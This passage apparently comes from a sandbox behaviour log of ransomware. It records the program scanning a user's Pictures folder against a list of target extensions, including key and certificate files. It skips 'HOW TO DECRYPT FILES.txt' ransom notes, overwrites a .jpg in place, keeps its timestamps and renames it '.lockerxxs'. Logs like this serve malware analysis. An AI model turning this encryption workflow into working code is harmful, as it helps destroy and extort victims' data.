HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.accdb") returned 0 [0091.231] lstrlenA (lpString="*.accdb") returned 7 [0091.231] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.odb") returned 0 [0091.232] lstrlenA (lpString="*.odb") returned 5 [0091.232] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.java") returned 0 [0091.232] lstrlenA (lpString="*.java") returned 6 [0091.232] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.asm") returned 0 [0091.232] lstrlenA (lpString="*.asm") returned 5 [0091.232] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.pfx") returned 0 [0091.232] lstrlenA (lpString="*.pfx") returned 5 [0091.232] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.pem") returned 0 [0091.232] lstrlenA (lpString="*.pem") returned 5 [0091.232] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.p12") returned 0 [0091.232] lstrlenA (lpString="*.p12") returned 5 [0091.232] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.gpg") returned 0 [0091.232] lstrlenA (lpString="*.gpg") returned 5 [0091.232] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.vsd") returned 0 [0091.232] lstrlenA (lpString="*.vsd") returned 5 [0091.232] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.odg") returned 0 [0091.232] lstrlenA (lpString="*.odg") returned 5 [0091.232] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.raw") returned 0 [0091.232] lstrlenA (lpString="*.raw") returned 5 [0091.232] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.nef") returned 0 [0091.232] lstrlenA (lpString="*.nef") returned 5 [0091.232] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.svg") returned 0 [0091.232] lstrlenA (lpString="*.svg") returned 5 [0091.232] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.psd") returned 0 [0091.233] lstrlenA (lpString="*.psd") returned 5 [0091.233] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.vmx") returned 0 [0091.233] lstrlenA (lpString="*.vmx") returned 5 [0091.233] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.vmdk") returned 0 [0091.233] lstrlenA (lpString="*.vmdk") returned 6 [0091.233] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.vdi") returned 0 [0091.233] lstrlenA (lpString="*.vdi") returned 5 [0091.233] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.lay6") returned 0 [0091.233] lstrlenA (lpString="*.lay6") returned 6 [0091.233] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.mpeg") returned 0 [0091.233] lstrlenA (lpString="*.mpeg") returned 6 [0091.233] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.djvu") returned 0 [0091.233] lstrlenA (lpString="*.djvu") returned 6 [0091.233] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.tiff") returned 0 [0091.233] lstrlenA (lpString="*.tiff") returned 6 [0091.233] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.backup") returned 0 [0091.233] lstrlenA (lpString="*.backup") returned 8 [0091.233] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.pdf") returned 0 [0091.234] lstrlenA (lpString="*.pdf") returned 5 [0091.234] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.cert") returned 0 [0091.234] lstrlenA (lpString="*.cert") returned 6 [0091.234] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.docm") returned 0 [0091.234] lstrlenA (lpString="*.docm") returned 6 [0091.234] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.xlsm") returned 0 [0091.234] lstrlenA (lpString="*.xlsm") returned 6 [0091.234] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.dwg") returned 0 [0091.234] lstrlenA (lpString="*.dwg") returned 5 [0091.234] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.nd") returned 0 [0091.234] lstrlenA (lpString="*.nd") returned 4 [0091.234] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.tlg") returned 0 [0091.234] lstrlenA (lpString="*.tlg") returned 5 [0091.234] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.lgb") returned 0 [0091.234] lstrlenA (lpString="*.lgb") returned 5 [0091.234] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.mov") returned 0 [0091.234] lstrlenA (lpString="*.mov") returned 5 [0091.234] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.xdw") returned 0 [0091.234] lstrlenA (lpString="*.xdw") returned 5 [0091.234] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.ods") returned 0 [0091.234] lstrlenA (lpString="*.ods") returned 5 [0091.234] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.wav") returned 0 [0091.234] lstrlenA (lpString="*.wav") returned 5 [0091.234] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.mp3") returned 0 [0091.234] lstrlenA (lpString="*.mp3") returned 5 [0091.234] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.aiff") returned 0 [0091.235] lstrlenA (lpString="*.aiff") returned 6 [0091.235] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.flac") returned 0 [0091.235] lstrlenA (lpString="*.flac") returned 6 [0091.235] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.m4a") returned 0 [0091.235] lstrlenA (lpString="*.m4a") returned 5 [0091.235] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.csv") returned 0 [0091.235] lstrlenA (lpString="*.csv") returned 5 [0091.235] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb546c730, ftCreationTime.dwHighDateTime=0x1d5e432, ftLastAccessTime.dwLowDateTime=0x1d4c8fe0, ftLastAccessTime.dwHighDateTime=0x1d5d8fd, ftLastWriteTime.dwLowDateTime=0x1d4c8fe0, ftLastWriteTime.dwHighDateTime=0x1d5d8fd, nFileSizeHigh=0x0, nFileSizeLow=0x5bc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DSOczaBdRn.jpg", cAlternateFileName="DSOCZA~1.JPG")) returned 1 [0091.235] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0091.235] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DSOczaBdRn.jpg") returned 1 [0091.235] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DSOczaBdRn.jpg") returned 1 [0091.235] lstrcmpiA (lpString1="", lpString2="DSOczaBdRn.jpg") returned -1 [0091.235] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif") returned="14bI7t6_Pzu4bqTu7ohq.gif" [0091.235] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\" [0091.235] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\") returned="" [0091.235] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\HOW TO DECRYPT FILES.txt" [0091.235] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\yzsy8mkrd4kjshu24avn\\how to decrypt files.txt")) returned 0x20 [0091.235] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\", lpString2="DSOczaBdRn.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg" [0091.235] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg", pszSpec="*.ems") returned 0 [0091.235] lstrlenA (lpString="*.ems") returned 5 [0091.236] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg", pszSpec="*.db") returned 0 [0091.236] lstrlenA (lpString="*.db") returned 4 [0091.236] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg", pszSpec="*.dbf") returned 0 [0091.236] lstrlenA (lpString="*.dbf") returned 5 [0091.236] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg", pszSpec="*.myox") returned 0 [0091.236] lstrlenA (lpString="*.myox") returned 6 [0091.236] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg", pszSpec="*.myo") returned 0 [0091.236] lstrlenA (lpString="*.myo") returned 5 [0091.236] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg", pszSpec="*.qbw") returned 0 [0091.236] lstrlenA (lpString="*.qbw") returned 5 [0091.236] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg", pszSpec="*.qbb") returned 0 [0091.236] lstrlenA (lpString="*.qbb") returned 5 [0091.236] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg", pszSpec="*.qbm") returned 0 [0091.236] lstrlenA (lpString="*.qbm") returned 5 [0091.236] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg", pszSpec="*.qbo") returned 0 [0091.236] lstrlenA (lpString="*.qbo") returned 5 [0091.236] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg", pszSpec="*.qbx") returned 0 [0091.236] lstrlenA (lpString="*.qbx") returned 5 [0091.236] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg", pszSpec="*.qba") returned 0 [0091.236] lstrlenA (lpString="*.qba") returned 5 [0091.236] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg", pszSpec="*.qby") returned 0 [0091.236] lstrlenA (lpString="*.qby") returned 5 [0091.236] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg", pszSpec="*.qbj") returned 0 [0091.236] lstrlenA (lpString="*.qbj") returned 5 [0091.236] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg", pszSpec="*.ofx") returned 0 [0091.236] lstrlenA (lpString="*.ofx") returned 5 [0091.236] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg", pszSpec="*.qif") returned 0 [0091.236] lstrlenA (lpString="*.qif") returned 5 [0091.236] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg", pszSpec="*.mye") returned 0 [0091.236] lstrlenA (lpString="*.mye") returned 5 [0091.237] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg", pszSpec="*.mbox") returned 0 [0091.237] lstrlenA (lpString="*.mbox") returned 6 [0091.237] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg", pszSpec="*.eml") returned 0 [0091.237] lstrlenA (lpString="*.eml") returned 5 [0091.237] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg", pszSpec="*.pst") returned 0 [0091.237] lstrlenA (lpString="*.pst") returned 5 [0091.237] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg", pszSpec="*.ost") returned 0 [0091.237] lstrlenA (lpString="*.ost") returned 5 [0091.237] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg", pszSpec="*.idx") returned 0 [0091.237] lstrlenA (lpString="*.idx") returned 5 [0091.237] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg", pszSpec="*.dbx") returned 0 [0091.237] lstrlenA (lpString="*.dbx") returned 5 [0091.237] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg", pszSpec="*.sql") returned 0 [0091.237] lstrlenA (lpString="*.sql") returned 5 [0091.237] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg", pszSpec="*.mdb") returned 0 [0091.237] lstrlenA (lpString="*.mdb") returned 5 [0091.237] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg", pszSpec="*.fdb") returned 0 [0091.237] lstrlenA (lpString="*.fdb") returned 5 [0091.237] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg", pszSpec="*.wab") returned 0 [0091.237] lstrlenA (lpString="*.wab") returned 5 [0091.237] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg", pszSpec="*.dat") returned 0 [0091.237] lstrlenA (lpString="*.dat") returned 5 [0091.237] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg", pszSpec="*.txt") returned 0 [0091.237] lstrlenA (lpString="*.txt") returned 5 [0091.237] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg", pszSpec="*.jpeg") returned 0 [0091.238] lstrlenA (lpString="*.jpeg") returned 6 [0091.238] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg", pszSpec="*.jpg") returned 1 [0091.238] lstrlenA (lpString="*.jpg") returned 5 [0091.238] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg" [0091.238] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg" [0091.238] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg." [0091.238] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg.lockerxxs" [0091.238] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\yzsy8mkrd4kjshu24avn\\dsoczabdrn.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0091.239] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x5bc0 [0091.239] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xb546c730, dwHighDateTime=0x1d5e432), lpLastAccessTime=0x407536*(dwLowDateTime=0x1d4c8fe0, dwHighDateTime=0x1d5d8fd), lpLastWriteTime=0x40753e*(dwLowDateTime=0x1d4c8fe0, dwHighDateTime=0x1d5d8fd)) returned 1 [0091.239] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0091.239] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x5b9a, lpOverlapped=0x0) returned 1 [0091.241] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg") returned="DSOczaBdRn.jpg" [0091.241] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0091.241] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x5b9a, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x5b9a, lpOverlapped=0x0) returned 1 [0091.274] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0091.274] CloseHandle (hObject=0x8c) returned 1 [0091.274] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\yzsy8mkrd4kjshu24avn\\dsoczabdrn.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\yzsy8mkrd4kjshu24avn\\dsoczabdrn.jpg.lockerxxs")) returned 1 [0091.276] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9bc91c0, ftCreationTime.dwHighDateTime=0x1d5d7f2, ftLastAccessTime.dwLowDateTime=0xd9a4c6f0, ftLastAccessTime.dwHighDateTime=0x1d5dd29, ftLastWriteTime.dwLowDateTime=0xd9a4c6f0, ftLastWriteTime.dwHighDateTime=0x1d5dd29, nFileSizeHigh=0x0, nFileSizeLow=0x5370, dwReserved0=0x2900032a, dwReserved1=0x4e00c4, cFileName="Ex3Q.jpg", cAlternateFileName="")) returned 1 [0091.276] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0091.276] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Ex3Q.jpg") returned -1 [0091.276] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Ex3Q.jpg") returned 1 [0091.276] lstrcmpiA (lpString1="", lpString2="Ex3Q.jpg") returned -1 [0091.276] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\DSOczaBdRn.jpg") returned="DSOczaBdRn.jpg" [0091.276] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\" [0091.276] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\") returned="" [0091.276] lstrcatA (in: 